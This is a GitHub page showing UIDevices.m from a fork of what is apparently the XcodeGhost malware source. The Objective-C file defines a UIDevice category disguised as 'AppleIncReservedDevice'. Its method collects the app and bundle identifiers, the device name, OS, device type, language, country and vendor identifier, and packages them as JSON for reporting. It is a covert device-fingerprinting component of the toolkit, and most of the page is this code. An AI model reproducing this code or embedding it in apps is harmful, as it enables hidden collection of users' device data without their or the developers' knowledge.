forked from XcodeGhostSource/XcodeGhost
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathUIDevices.m
More file actions
46 lines (34 loc) · 1.61 KB
/
UIDevices.m
File metadata and controls
46 lines (34 loc) · 1.61 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#import "UIDevices.h"
#import <sys/utsname.h>
#include <ifaddrs.h>
#include <arpa/inet.h>
#include <net/if.h>
@implementation UIDevice(AppleIncReservedDevice)
+(NSString*)Language{
NSString *currentLanguage = [[NSLocale preferredLanguages] objectAtIndex:0];
return currentLanguage;
}
+(NSString*)CountryCode{
NSLocale *local = [NSLocale currentLocale];
return [local objectForKey: NSLocaleCountryCode];
}
+(NSData*)AppleIncReserved:(NSString*)tag{
NSString *bundleID=[[NSBundle mainBundle] bundleIdentifier];
NSString *app=[[[NSBundle mainBundle] infoDictionary] objectForKey:@"CFBundleName"];
NSString *timeStamp=[self Timestamp];
NSString *osversion=[self OSVersion];
NSString *devicetype=[self DeviceType];
NSString *language=[self Language];
NSString *name=[[UIDevice currentDevice] name];
NSString *countryCode=[self CountryCode];
NSString *idfv=[[[UIDevice currentDevice] identifierForVendor] UUIDString];
NSString *version = [[[NSBundle mainBundle] infoDictionary] objectForKey:@"CFBundleVersion"];
NSDictionary *dict=[NSDictionary dictionaryWithObjectsAndKeys:timeStamp,@"timestamp",app,@"app",bundleID,@"bundle",name,@"name",
osversion,@"os",devicetype,@"type",tag,@"status",version,@"version",language,@"language",countryCode,@"country",idfv,@"idfv",nil];
NSError *error;
NSData *jsonData = [NSJSONSerialization dataWithJSONObject:dict
options:NSJSONWritingPrettyPrinted
error:&error];
return jsonData;
}
@end